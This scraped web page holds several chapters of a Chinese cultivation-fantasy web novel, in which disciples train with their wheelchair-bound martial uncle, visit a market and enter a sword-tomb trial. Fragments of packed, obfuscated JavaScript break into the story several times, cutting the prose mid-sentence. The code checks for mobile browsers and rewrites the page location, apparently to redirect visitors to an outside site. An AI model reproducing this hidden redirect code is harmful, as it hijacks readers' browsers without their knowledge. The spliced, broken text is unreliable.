RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970645|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度非比寻常,就连平日不见踪影的沈聿泽也出山了,亲自为沈枫泽护法。 如果不是看到师父醉醺醺地坐在石头旁喝酒的话,伏令年都要感动地认为他看似不着调其实很靠谱了。 怀里捧着“莫名其妙”就少了一半的灵果们,伏令年舔了舔唇角,抹去灵果清甜的汁水,和温季才与高墨贤两人面面相觑。 这是谁?温季才用眼神问。 是了,温季才几人都没见过沈聿泽的真面目。还以为遨月峰峰主的真身是白胡子老道呢。 高墨贤同样一脸疑惑。 伏令年则不知道该不该喊人,又该喊什么。 就在三人踌躇之时,沈枫泽闭关处突然发出了巨大的响动,把昏睡的沈聿泽都惊醒了。 沈聿泽微抬丹凤眼,望向开启的石窟,又看了眼伏令年三人。 他缓缓从地上站起身,缓缓走到伏令年几人跟前。 在高墨贤和温季才震惊的目光中,将手伸入果篮中,取出了一串葡萄。 他将葡萄送入嘴里,品尝完悠悠道:“没熟,有些酸了。” “你们在做什么…?” 四张面孔转向出声之人。 沈枫泽抱着臂膀,站在石窟之上,冷飕飕地看着下方的一群人。 伏令年把手探入果篮里,想偷偷藏一颗自己最喜欢的草莓,却摸到了另一只手。 她沉默半晌,又将手收了回去。 脸上堆起笑容:“师兄,我们来看你!”她用手托起果篮:“特意给您带的。” 沈枫泽凉凉瞥了伏令年几人一眼,却还是伸手接过了。 伏令年立即往后退了十来步远。 “知道师兄你成功出关了,太开心了。我要回去修炼了。”伏令年用很快的速度说完,转身就想抛下其他几人开溜。 果篮一入手,沈枫泽便知道不对劲了。 往里头里看,偌大一个果篮里就零星放着几串葡萄和三两个不方便直接吃的灵瓜。 他冷笑一声,伏令年顿时感到背后发寒。 她双腿用力一蹬,就地翻滚,躲开了突然出现在身后的长剑。 “不用回去,”沈枫泽道:“我今日有空,陪你们练。” “不必了师兄——”温季才几自是没被放过,被长剑追的满地乱跑。 伏令年跑不过来无影去无踪的剑,绕了一圈回头,眼疾手快地揪住了沈聿泽的衣袍。 “救命啊师父——” 温季才和高墨贤的惨叫声顿时响起。 两人都为伏令年的话语而惊得慢了一步,被长剑狠狠砸中了背部,很狼狈地趴倒在地上。 温季才吐出嘴里的土:“师…师父?” 高墨贤干干净净的外袍上沾染了灰尘,但他甚至不敢向沈枫泽投去一个不满的眼神,闻此言,也是震惊地看向那被伏令年喊做师父的美男子。 说实话,若要论起来,沈枫泽都比他更像“师父”。 沈聿泽抚了抚自己的下巴,光秃秃的。 他这次没做任何伪装。 轻咳一声,他把躲在自己背后的伏令年拖了出来:“谁是师父?你徒弟?” 他朝沈枫泽使眼色。 沈枫泽面无表情地道:“你徒弟。” 104. 一个目标 沈聿泽就这么当众掉了“马甲”,伏令年觉得这不能怪她,着实是师兄太过凶残。 沈枫泽的晋升很顺利,遨月峰近几日少见的有了些人气,不少其它峰或其它宗门的子弟都前来拜访。 沈枫泽从元婴大圆满晋升至出窍期,一跃成为修仙界近乎顶端的存在。 对于小门小派而言,元婴期已是一个宗门的顶端。 而于像昆仑宗一类的大宗门而言,出窍期已能作一峰长老。而沈枫泽还很年轻,日后必然会有更大的作为。 无论从何种角度而言,和他交好都是百利无一害的。 “大师兄不就是民间说的…说的…”温季才皱着眉,苦苦思索着合适的形容词。 此时,三人正挨着靠坐在树上,望着不时进入御剑进入遨月峰的修士。 高墨贤经过一次秘境之旅后,洁癖显然好了许多,只是在坐下前好好擦拭了一番枝干。 “全村的希望。”伏令年接口道,她晃着脚,看了眼天空:“大师兄今日恐怕也没时间训我们了,真可惜。”但她笑眯眯的声音中显然听不出有多可惜。 然而,众位修士的来访显然没能让伏令年三人摸鱼计划长久下去。 三日后,许久不见的二师姐出现了。 “师父说,你们休息的也差不多了,让我领你们去一个好地方修行…你们在干什么?” 安祉看见对着奇怪物件敲敲打打的伏令年和在一旁看热闹的温季才两人,终于忍不住问道。 “假肢。”伏令年随意擦了把手上的灰尘,反正她的衣服也脏得需要清洗了。高墨贤看得皱起了眉头。 安祉看着伏令年把那个被她称为“假肢”的玩意扣在了腿上,一瘸一拐地走了起来,活像一只腿瘸的黑熊。 “有什么用…?”安祉努力不让自己的脸皱成一团。 “可以让缺胳膊少腿的人重新走路…我…”伏令年话音未落,绑上“假肢”的腿似乎绊到了一块石子,险些脸着地摔倒:“嗯…现在还不太灵活。” 在安祉怀疑的目光下,伏令年试图表现自己新发明的实用性:“我还学了小机关,可以让它像人的关节一样灵活。” 她敲了敲应该是“膝盖”的地方,随着“咔哒”一声,伏令年瞬间在安祉的视线内消失了。 安祉缓缓低下了脑袋。 伏令年整个人趴在地上,假肢的关节处呈现90度弯折。 安祉:…… “看出来了,是挺灵活。” “就是有点灵活过度了。”温季才在一旁毫不留情地嘲笑道。 安祉口中所说的新修行让伏令年三人都感到意外。 伏令年站在浮空岛上,感觉四周熟悉又陌生。 岛上的植物似乎更茂盛了一些,三人随着安祉,来到了岛上那棵巨大无比的树前。 安祉恭恭敬敬地朝树行了一礼。 “小师叔。”她道。 轻微的灵力波动自树下传来,下一刻,伏令年只觉得自己被包裹进了一团灵力流中。 她猜到自己接下来会到哪里,却惊疑于这种奇特的感受。 从前,她不止一次的进入小师叔的秘境,却从未有过这种感受。 而这一次,除了下坠感,伏令年察觉到了更多。 她不知道这是一个例外,抑或是她本身发生了改变。 不过,伏令年更偏向于后者。 她心中隐隐有种预感,如果她能再点亮一处阵眼,她能察觉到更详细的东西。 身体的下坠止住,伏令年落入了柔软的藤蔓之中。 像先前的每一次一样,伏令年从藤蔓上滑下,双脚落于实地。 温季才和高墨贤先后落在伏令年身旁。 三人的目光近乎是同一时间落到了不远处,那道身着素色白衣的清俊身影。 安祉没有跟着一起进来。 看着那道熟悉了背影,伏令年不知怎的,心里突然有些紧张。 胸口忽地有些发烫,伏令年若有所思的将项链取出,果不其然,圆月般的晶石正闪烁着点点光芒。 当她再度抬头望向小师叔时,他已经转过身。 墨色的眼眸如往日一般,温润如水。 伏令年装模作样地跟小伙伴们朝裴知许行了个礼,她可不能让他们知道自己提前在小师叔这儿开过小灶,不然又得被他们念叨一番,说她有福不同享。 不知是不是伏令年的错觉,她觉得小师叔似乎盯着她看了好一会。 她该做什么吗?难道是在警告她不能胡闹? 伏令年小心翼翼抬眸瞥了他一眼,正好撞入他的眼眸。 “嗯。” 裴知许移开了目光。 “师兄说,你们先前一直跟着枫泽修行。” 他口中的师兄自然是沈聿泽。 听到“枫泽”二字,伏令年几人下意识打了个哆嗦。 “我与他的修行方式有所不同,”裴知许微微抬手,伏令年三人顿时都感到四周隐约生出的剑意。 体内的归年再次开始躁动,这是伏令年第二次发现归年如此的好战。 上一次,她被万剑宗的那位大能压制时,归年同样也有如此反应。 裴知许轻轻瞥了伏令年一眼,下一刻,危险感陡生。 伏令年在信任与理智的斗争中选择了理智,归年顺应而出。 脚下发力,她轻盈地侧身闪避,将归年横拦于腰侧。 一根树枝出现于伏令年刚刚站立的地方,明明看上去那么的脆弱,却在与归年撞击之时,发出了尖锐的剑鸣之声。 几招过后,树枝被归年劈断,落到了草地之中。 伏令年有些怨念地看向裴知许:“你这是杀鸡儆猴吗,小师叔。” “我以为你们会更习惯这样的方式。”裴知许表情未变,语气依旧平和,伏令年却从中品出了一些危险的意味。 伏令年三人齐齐摇头。 一点都不习惯。 一辈子都不会习惯的! 他们一点也不想换一个地方继续被揍。 裴知许看着三人可怜兮兮的目光,面上的表情没什么变化。 “好吧。” 看着裴知许转身,车轮缓缓滚动。三人对视一眼,伏令年先追了上去。 伏令年顾不得装不认识,很殷勤地凑上去给裴知许推轮椅——虽然他压根就不需要,但面子功夫是要做到位的。 “咳,小师叔,待会我们怎么修行?”伏令年小心翼翼地问道,她严重怀疑现在的小师叔被沈枫泽附体了,还她先前温和的小师叔! 随即,她瞧见小师叔的嘴角微微上翘。 “你在笑吗,小师叔?”伏令年狐疑道。 随即,她听见了轻轻的笑声。 那种古怪的感觉顿时消散,小师叔又变成了当初熟悉的模样。 “吓到你了?”裴知许抬眸,看着伏令年。 “你刚刚的表情跟大师兄一模一样。”伏令年道。 裴知许又笑了,似是瞧见了什么有趣的事情似的。 伏令年的眼神越来越幽怨,裴知许终于道:“好了。” 他伸手轻轻一抓,飘浮在半空和伏令年闹着脾气的归年竟就这么落入了他的手中。 归年发出嗡嗡剑鸣,欲要挣脱,却被裴知许压制在手中,无力动弹。 “不错的剑。”过了一会,裴知许松开手,归年如同受惊的乳燕,化作流光投入伏令年的体内:“它叫什么名字?” “归年。”伏令年道。 “归年…”裴知许轻轻叹了一口气,不知在为谁:“好名字。” “作为剑修,领悟自己的剑意与剑道,是修行的第一步。”裴知许声音放缓:“如何控制自己的剑,是第二步。”他的目光转向伏令年。 …… 伏令年发现归年变了。 似乎是从使用改名卡起,归年便出现了这样的变化。 即使是先前在桃源村由于危险发生异变,都不如现在的变化来得大。 归年似乎突然从武器变成了活物,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028029|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再是冷冰冰的金属。 它有自己的想法,甚至会跟伏令年闹脾气。 就像身体突然出现了第二个控制者,原本如同手足般的剑有了自己的思想,甚至会出现左右互搏的状况。 平日里,归年还是很正常得呆着。但一旦遇见危机或被压迫的情况,它便如同一点就燃的炮仗,且不在乎会不会把伏令年炸死。 温季才和高墨贤与先前的伏令年一样,在裴知许的教导下领悟剑意,学习望月剑法的起手式。 伏令年则想尽办法驯服归年。 ——并跟系统吵架。 说真的,伏令年已经在怀疑自己是不是压力太大精神分裂了。她甚至突发奇想,系统根本就不存在,穿越也是她的幻想。 系统在脑海里叽叽喳喳,指挥伏令年怎么控制归年。 什么孩子不听话打一顿就好了这种鬼话都说得出来。 【它不认可你。】 周围充斥着陌生的剑意,伏令年再一次被暴动的归年剑从半空甩下来时,系统嘲笑道。 伏令年在草地上躺了一会。 ''你很烦。''她已经没力气和系统拌嘴了。 【你知道为什么吗?】 伏令年当然不知道。 【因为你选择了退却。】 什么? 伏令年愣了愣:''你是说,结算积分的那一次?'' 是了,那时归年的反应就很古怪。 【对。】 ''我那是能屈能伸。''伏令年觉得有些冤屈,明知道不敌,硬撑也没有好处。 【修行一途,有时一退便再无机会。宿主,人总是被逼着向前走的啊。有时候,不如自己往前跑两步。】 伏令年闭上了眼睛,没有回话。 不知道是不是被系统点中了内心一直隐藏的小心思,她居然一时间不知道该说些什么。 自穿越以来,伏令年一直觉得自己其实在被未知的事物推着向前行走。系统一次次的任务,逼迫着伏令年做出行动,让她从一个普通的大学生变成如今砍怪如砍菜的剑修。 实际上,她一直都是没有方向的。她不能永远被系统逼着前进,尤其是无法知晓它真正目的的情况下。 除了完成系统任务活下去,伏令年其实并没有自己的目标。 特别是在第一场四境大会的结束后,那种未知危险的存在感越来越强烈,她想寻找真相躲避危险,危险和未知却越来越多。强大的压力没有转化为动力,反而差点把她直接压扁,变成一条躺平的咸鱼。 归年或许也感受到了她的念头,才会不认可她吧。 伏令年想着。 她应该要给自己一个目标,一个不被系统裹挟的,她自己想要达成的目标。 比如赚下小小一个亿什么的…嗯… 伏令年睁开眼睛,从地上坐了起来。 忽然,她皱起眉头。 ''你刚刚说的很有道理,我是该有点自己的理想。但思来想去,我不是一直被你逼着走的吗?''怎么想都得怪系统啊! 系统没有说话,神识海中突然回荡着系统装作无事发生的口哨声。 “二丫!”耳边传来温季才的喊声。 伏令年抬眸,感受到了一道凌冽的剑意。 握紧手边沈枫泽送的长剑,伏令年就地翻滚一圈,与温季才过了几招。 “怎么样。”温季才得意至极,他也领悟了属于自己的剑意。 “简直是天才。”伏令年的夸赞没让他感到满意,温季才皱着眉,侧头望向一旁的高墨贤:“怎么样?”他又问了一遍。 高墨贤还没能领悟剑意,没好气地道:“很一般。” 温季才顿时觉得亲切多了,他担忧地看了看远处的归年,又看了眼伏令年的脑袋。 “你脑子被打坏啦?” 伏令年没好气地瞪了他一眼:“我这是鼓励式教育…你们俩好好修炼,下一次四境大会,我们一起把秘境的秘宝搬空。” 这是她的第一个“小目标”。 105. 万物自然 在下一场四境大会开启前,伏令年三人一直都接受着裴知许的教导。 与沈枫泽不同,比起让他们在直接的战斗中领悟,裴知许喜欢让他们在不同的自然环境下修行。 冰川,暴雨,沙地,山岳… 每一缕风,每一轮月,酷热或严寒。脚下的泥沙,天上的星月,林间的微风,斑驳的光影。所有的一切,都是伏令年的老师。 伏令年学着飞雁斩破虚空,如游鱼般腾挪闪躲。与万物融为一体。 有时候,伏令年会以为自己原本是这一方小世界的一部分。她在土地上生根发芽,等待一场雨水的浇灌,最终成长为苍天大树。 细碎的雨点拍打在伏令年的肌肤上,此时,她仰面朝着天空,背后是坚实的土地。 衣袍已经被雨水打湿,贴在肌肤上。由剑气所伤的大小伤口缓缓愈合,血水与雨水混杂在一起。伏令年动了动脑袋,泥泞沾染上她的发丝。如果高墨贤在这,恐怕又要发出尖锐的爆鸣声了。 归年悬停在半空,随着风轻轻摇摆,像是也在享受着这一刻。 雨渐渐变大了,雨点不再轻柔,砸在脸上生疼。 伏令年动了动,耳朵敏锐地分辨出了额外的声音。 车轮抚过细碎的沙石,伏令年仿佛能看见湿润的泥土吮吸着轮面,几滴水珠弹起又落下,重新融入从天而降的雨水。 落在伏令年身上的雨停了,她睁开眼睛,入目是青色的竹伞。 伏令年撑着上半身坐起,笑着跟来人打招呼:“小师叔。” 裴知许一如往日,墨发素衣。他手中的竹伞微微倾斜,遮挡了残余的雨丝。 两人一时无言。 他的视线扫过伏令年沾满血迹和泥浆的衣物,放在扶手上的指尖动了动:“在看什么?”他问。 伏令年坦诚地道:“在看你…”的伞。 细密的雨水模糊了周遭,一切似乎都在消融。 伏令年的话没能说完,也没看清裴知许的神情,只能看见他朝她伸出的手。 她抬起手,抓住了那只骨节分明的手。 身下的土地也开始溶解,小师叔的手成了伏令年和现实世界连接的唯一基石。 即使不是首次体验,伏令年依旧忍不住收紧了手指。 灵气涌动的感觉再度袭来,伏令年感到有一股力道将她轻轻托起,温热的事物覆上了她发僵的手背。 “放松些。”朦胧中,她听见了小师叔的声音。 再次落于实地,伏令年回到了最熟悉的秘境环境中。 扑通两声,两道人影从天而降,一屁股摔在地面,滚作一团。 “离我远点!脏死了!”这是高墨贤。 “嘿嘿嘿嘿…让我摸一下。”这是温季才。 然而,两人看到伏令年的模样时,都齐齐张大了嘴巴。 “你刚刚去玩泥巴了?”温季才嫌弃道:“我三岁以后就不干这个了。” 伏令年没吭声,她依旧坐在地上,用双手抱着膝盖,配上她满身泥浆血迹的模样,瞧着颇为可怜。 裴知许也没说话,只是静静地看着伏令年。 温季才的笑容变淡,他朝高墨贤使了个眼色,两人有些不安地走近:“你怎么啦?伤得很重吗?” 伏令年缓缓抬头。 突然,高墨贤感到自己的衣袍下摆骤然收紧,脑袋被人往下压,整个人被扯得弯下了腰。下一秒,脸上传来冰凉的触感,耳边是温季才得意的笑声。 伏令年用泥浆给高墨贤抹上一个笑脸,爬起来跟着温季才转身就跑。 等他回过神来时,伏令年和温季才已经跑远了。 “你们今年刚满三岁吗?”高墨贤咬牙切齿,他一把抹掉脸上的泥浆,追着两人满地乱跑。 三人没动用一丝灵力,全凭肉搏,用尽解数给对方脸上和头发上抹泥巴。 裴知许看着这一幕,无奈地摇了摇头。 确实如师兄所说,有些吵闹啊。 最后,三人顶着一头乱糟糟的头发蹲在裴知许面前,用如出一辙的目光盯着裴知许。 “小师叔。”伏令年第一个开口。 “再过一周,我们就得进新的秘境了。”温季才接着道。 高墨贤:“好想最后再出去看看啊。” “北境好恐怖。”温季才道。 “他们欺负我们。”伏令年抹了把不存在的泪水。 高墨贤:“好想最后再出去看看啊。” 裴知许抬了抬手,示意三人打住。 “想做什么?” 伏令年正把手上的泥污蹭到温季才最后一块干净的衣摆上:“小师叔,想不想与我们一同去木延街市逛逛? 裴知许垂眸,看着她脏兮兮的面颊——唯有一双眼睛亮闪闪的。 像在泥地里打滚撒欢的小狗 “为什么?”他明知故问。 “整天呆在秘境里多无聊。”伏令年欢快地道:“跟我们一起出去玩嘛。” “可以吗?”三人齐声道。 裴知许轻轻叹了口气。 …… 昆仑宗弟子不得随意使用传送法阵,但如果拿着小师叔的身份铭牌就可以。 比起上一次,木延街市的整体布局似乎没什么大的变动,人却多了不少。 正值外界正午,木延街市内却已被夜色笼罩。人头攒动,熙熙然然。 街道两旁,青石铺就的路面被两侧高挂的灯笼映照得发亮。各色摊位鳞次栉比,摊主们或站或坐,吆喝声此起彼伏。此时的木延街市恢复了伏令年之前所见的生机。 木延街市内人员复杂,伏令年三人都戴上了特制的面具。 也是离开秘境后,伏令年才从他人口中得知自己在秘境里的所作所为如此受人瞩目。这让她再也生不起侥幸的心理。 虽然没有完全暴露自身状况,但她的所作所为恐怕也引起了一些人的注意,尤其是她完全不了解的,似乎在暗中窥视着她的人。伏令年不禁怀疑起万叶仙尊是否就是其中之一。作为一位久居高位的仙尊,却对她这样的小弟子动手,着实显得刻意。 不过,万叶仙尊的暴躁脾气却又是修仙界出了名的,连系统都对此津津乐道。这让伏令年无法确定他真正的目的。 行于街上,不少人都朝伏令年一行人投来目光。倒不是由于他们面上的面具。许多不愿暴露面容特征的修仙者皆会戴上面具,这并非个例。 真正引起过路人注意的,是被他们推在身前的轮椅。 木质的轮椅十分单调朴素,座上之人是个面容普通的男子,单调的五官让人一眼扫过便难以再提起兴趣。即便看了很久,也很难记住他的模样,一转头便会忘却。 在修仙界,几乎难以看见身有残疾之人。随着修为提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伏令年很早便买到了自己此行想要的东西,其余时间都是在陪着小师叔瞎晃悠。小师叔似乎对木延街市很感兴趣,毕竟他久居不出,应当很久没见过这样热闹的场景了。再后来,她的目标便放在如何往小师叔的轮椅挂满各种稀奇古怪的玩意上。 裴知许始终是笑眯眯的模样,任由几人胡闹。他的目光无意识落在一串铜制铃铛上,不过一会,一只手将它拿了起来。 “多少…”伏令年话未说完,摊主便用极快的语速道:“三颗下品灵石概不还价!” 两人的目光在空中相对,强烈的危机感让摊主坐直了身体。 最后,伏令年满意地将铃铛挂到了轮椅的扶手处。 …… 夜色渐深,浮空岛逐渐被黑夜吞没。巨树下,两道身影相对而坐。 一阵微风拂过,不知掠动了什么事物,叮咚作响。 沈聿泽挑了挑眉,笑问:“这便是他们带着你偷溜出去的成果?” 裴知许轻轻拨弄着手边的铃铛,睫羽轻轻颤动,看不清神色。 “难得。”沈聿泽晃了晃空掉的葫芦瓶:“你愿意出来看看。” “做久了见不得光的蛾蠓,偶尔也想晒晒太阳。” 两人的身影逐渐隐没于夜色中,再无人说话。他们彼此对坐着,便如久远却清晰的往日,却又全然不同。隐约间,只余铜铃轻响。 106. 万剑冢(一) 作为本次四境大会的主场,东境也日渐热闹起来。各境修士聚集于一地,昆仑宗内也变了模样。 当伏令年再次登上昆仑峰时,近乎难以将如今的昆仑峰与昔日景象联系起来。 被弟子砸坏的比试场地不知何时已被修缮过一番,每一阶石街都被擦得锃光发亮。巨剑依旧矗立于昆仑宗的中央,剑身高达百丈。今日,拨云见雾,天气明朗。伏令年的目光顺着剑身流转,从上至下。 她惊讶地发觉原本古朴无物的青铜色剑身上不知何时蔓上了条条繁复的纹路,隐约有光华在其中流动。 巨剑下方,剑尖没入大地。地面龟裂处不时有灵气逸散而出。处于昆仑峰之上的修仙者们近乎都能察觉到土地在随着灵气的涌动而轻轻颤动。 第二场四境大会将在东境展开。 与先前定期开放的万霭之幽有所不同,此次大会将在万剑冢举行。 这是一处人造秘境,由昆仑开宗之主所辟。世代相传,开启的方式由昆仑宗的宗主所掌握。 据说,万剑冢便如其名,是万剑的坟墓。里面埋藏着无数把曾属于各路上古修士的武器,他们是开宗之主手下的折戟之人,亦或是历代昆仑宗的先辈。对于强大的修士而言,它们的武器常常都蕴藏着浓烈的残留意志与执念。 在场的修士们都在静候第二场大会的开启。 第二场的规则与第一场有了不小的区别,同样是每人领取一个身份铭牌,能够用于累计积分。震碎身份铭牌后,意味着放弃比试,随时能够离开秘境。却并非以击杀妖兽为标准。 毕竟,万剑冢中没有妖兽。 “万剑冢内危机四伏,亦蕴含着无限机缘考验。望各位能谨慎行事,量力而为。”昆仑宗宗主位于首位,话音落下,一道耀眼的光芒自他身周亮起,直上云霄。 随着光芒冲天而起,巨剑周围的灵气骤然暴动,地面龟裂处逸散出的灵气愈发浓郁,仿佛整个昆仑峰都在为之震颤。伏令年只觉得脚下的土地猛然一震,随即,一道巨大的裂缝从巨剑下方蔓延开来,耳边仿佛响起了一声悠长的剑吟。 体内的归年蠢蠢欲动,伏令年分出一半心神,将它压制于内。 尽管尝试了各种方法,伏令年依旧没能彻底掌握归年。一人一剑之间只能保持暂时的和谐,却始终找不回从前那种如臂指使的感觉。 这让伏令年开始怀疑自己当初是不是不应该使用改名卡。拥有了名字的归年或许是更强了,却难以掌控了。 “诸位,请入万剑冢!”宗主的声音再次响起,带着不容置疑的威严。 人群开始在带领下移动,伏令年一跃而入,投入了那片涌动着光芒的裂缝之中。 身体被灵气包裹,熟悉的感觉再度袭来。伏令年有意让神识向外探寻,试图找寻到变幻的边界。这时,一道凌冽的剑意不知自何处乍现。伏令年想要收回神识,却已是晚了一步。刺痛感顺着神魂传遍四肢百骸,让她在落于实地是便忍不住伏下身体。 入目是焦黄的土地,仿佛呼吸间都带着泥沙与尘土。 伏令年没有急着起身,先探查了一下储物空间,发现能够自如打开,微微松了口气。 她摸了摸腰侧的佩剑——这是大师兄赠予她的那把剑。 在没能完全掌控归年之前,她需要减少对它的依赖。 抬起头,伏令年环顾四周。 天色是暗红色的,厚重的云层云层仿佛压在了头顶,不见一缕日光。空气中弥漫着一股肃杀之气,仿佛连风都带着锋利的寒意,吹拂过脸庞时,隐隐有刺痛之感。 目之所及,遍地都是残剑断刃。一些还算完整,斜插于土地。另一些已腐朽得近乎看不出原型。 有了先前的一次试探,伏令年不敢再随意放出神识探查。 这一次,同一时段进入万剑冢的同境修士似乎都聚集在了一起。 伏令年越过一柄握柄已然腐朽的大刀,朝着人群中几道熟悉的身影行去。 衣袍在寒风中被掀起,猎猎作响。模糊间,伏令年恍惚间听到有人在喊她。 声音一瞬即无,让伏令年怀疑那只是风刮过的声音。 伏令年怀疑地侧过头,身旁的每一位修士都在谨慎地打量四周,她找不出那个呼唤她的人。 最后,她的目光停留在身旁的残刀上。它半掩在黄土内,裸露在外的部分刀刃却依旧闪动着寒光。 伏令年没有去触碰刀刃,她转过身,朝着原定的方向行去。 鞋履与地面摩擦,沙砾被碾压,微小的声响隐没在呼啸的风声中。 万剑冢的状况与万霭之幽不同,谨慎起见,各个小队并未分开行动。 伏令年跟随着大队伍缓缓前行。不知道时间过了多久,天色是一成不变的昏暗,土地干枯而乏味,干涸的裂痕纵横交错,像是大地的伤痕。断剑残刃予人一种悲凉孤寂之感,让人没来由得感到烦躁。 有些不对劲。 伏令年侧过头,正想问问身旁的同伴有没有同样的感受时,异变在同一时刻发生了。 坚实的土地突然化为漫漫黄沙,双脚猛然下陷。与此同时,风声呼啸,卷起漫天黄沙。 体内的灵力在金丹的推动下顷刻间自各路经脉涌出,集中于双腿处。伏令年想要借此挣开脚下的黄沙。 然而,随着黄沙被外涌的灵力推向两侧,伏令年却未能如愿重新回到地面。 大地似乎在不断溶解,化作黄沙向下流淌,再无一处可落脚之地。 被推开的黄沙之下,是一片空洞的黑暗。 身体猛然下坠,在伏令年做出下一步行动之前,一股强烈的灵力波动自队伍前方生出。 绿意自半空中洒落,以极快的速度向下伸长,化作藤蔓。那些藤蔓如同灵蛇般在空中舞动,迅速蔓延开来,接住了失去支撑向下方坠落的修士。 伏令年落于藤网上,下落的趋势减缓。然而,不过多时,更多地面软化,黄沙如瀑布般向下方坠落。在藤蔓失去支撑以前,伏令年身体一轻,被藤蔓抛至半空,离开了下陷区域。 坍塌持续了许久,当一切重新归于平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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只要进入距地面五丈的范围内,便无法再御剑飞行。强烈的威压令元婴期的修士也难以自如行动,必须运起全身灵力抵御。 与此同时,剑冢杂乱无序的剑意对剑修的影响更甚,若在下方停留过久,心智不坚者可能会灵力逆转,走火入魔。 越往内深入,威压与剑意便愈盛。 除此之外,还有一个重要的信息。 在他们踏入坑洞内的那一刻,身份铭牌内累计的积分开始跳动,并随着他们的深入而产生波动。 当他们离开坑洞后,积分随之清空。 这意味着,此处的坑洞,恐怕便是此次四境大会对修士们真正的考验。 修士们需要在凌冽的威压与剑意下深入剑冢,并保持深入程度。一旦回头,所有的坚持与努力都将化为泡影。 而对于整一个东境而言,这不仅是个人的挑战,亦与所有弟子息息相关。 107. 万剑冢(二) 掌心处是植物纹路粗糙的质感,伏令年顺着藤蔓向下滑动,感受着周遭的光线越来越暗。 四周很安静,唯有修士们顺着长藤下落的轻微动静。 在弄清楚下方的状况后,东境修士便在元婴期修士们的带领下分为了四支队伍。 前三支依次序深入剑窟,最后一支队伍大部分是医修丹修以及器修,他们留在上方驻守以防意外并接应回退的队伍。 中途若有修士无法支撑,返回路上能的得到后一批修士的照应。 伏令年正跟随着第三批队伍进入剑窟。这支队伍有昆仑宗的孟如烟与星机阁的宋时桉引领。 空气变得沉闷,伏令年觉得自己像是一只被折断了翅膀的微小飞虫,正缓缓向未知的深潭内下坠。 “做好准备。”这时,孟如烟的声音在同一时间传遍了所有修仙者的耳朵。 他们已经接近地面,一旦进入五丈范围以内,便会立即遭受剑气与威压的侵袭。 金丹一刻不停地转动着,为体表覆上层层灵力护罩。 改变是在一瞬间发生的,伏令年觉得自己从无物的空气突然进入了一片奔涌的水域,数丈高的巨浪顷刻间从头顶压下,将她压入了黑茫茫的深海内。身体被四面八方涌来的水流推搡挤压着,想要将她碾作齑粉。 于此同时,伏令年感受到了道道凌冽的剑气。对于她而言,即熟悉又陌生。 几人被大师兄操练的这些年里,伏令年没少被剑气拷打,身上曾留下过许多道由剑气伤痕。 但此处的剑气又于训练时不同,它们阴冷锋锐,无孔不入。伏令年甚至寻不到一处可落脚之地。 身上的灵力被撕碎后散入空中,空缺处迅速被填补。体内的灵力在以一个十分惊人的速度消耗着。 伏令年近乎难以直起腰背,她感觉自己的筋骨在巨大的压力下嘎吱作响。 体内的归年发出一道剑鸣,它似乎也受到了影响,正用自己的方式抵御着周遭混乱又凌冽的剑意。 周遭的修士们比起伏令年好不了多少,有一些甚至已经被压得趴伏在了地上。 就在此时,一柄长剑的虚影自孟如烟体内生出,悬于半空。跟随的的修士们皆感到周身一轻。压力虽然依旧存在,伏令年却终于能直起腰背。 此处的土地是暗灰与红色的,凹凸不平的地面像是被融化的金属流淌过,继而凝固了痕迹。处处都透着一股金属腐朽与血肉腐烂的气息。 虽然此处没有活物,但伏令年就是没来由得这么想着。 伏令年抽空打量了一眼孟如烟的长剑虚影。这把剑比普通的长剑更为细长,剑身上的纹路如同节节鞭节般将剑刃分隔开来,仿佛一条长鞭。 联想起江玉忻善用的软剑,伏令年暗自点了点头。 在大队伍深入剑窟前,元婴期修士们轮番进入尝试过。最终得出一个除了灵力护体外抵御剑气的方法,那便是催生自身剑意护体。 因此,剑修们便成了深入剑窟的主要成员。 不过,对于大多数元婴期以下的剑修而言,都无法做到使剑意凝如实质。 于伏令年而言,如果她催动归年,或许能做到。但归年的不定因素让她不敢随意尝试。 人群聚集在一起,撑起相联的屏障向前行进。 强如孟如烟,也无法长时间将所有人纳入保护。因此,当最初的适应阶段过后,她便将剑意收拢,只局限于小部分区域。 伏令年不敢全力催动归年,孟如烟收拢剑意后,她的行动也愈发艰难。 伏令年当机立断,在人群中搜索那道熟悉的身影。 从承言也在这个队伍中,或许是因为上一次四境大会他们一行人全程走失的状况让元婴期修士们都记忆犹新,孟如烟在大会前重点关注了他们,并要求从承言跟在她身边,莫要随意行事。 不过,她要求从承言跟在她身边,却没不允许他们跟着从承言啊。 从承言正沉默地行走于队伍中,在他头顶,正是赤霄剑的虚影。 自幻灵塔一行后,他领悟了自身的剑道,与赤霄剑愈发契合。 在安静的氛围里,每一丝动静都会显得尤其明显。 有人在接近他。 “你做什么?” 伏令年偷偷摸摸走到一半,突然被人拦了下来。 定睛一看,发现居然是个老熟人。 江钰景嫌恶地看着伏令年,依旧是那副欠扁的高傲模样。 伏令年不想在这种时候跟他发生冲突,只是翻了个白眼:“你谁啊?” 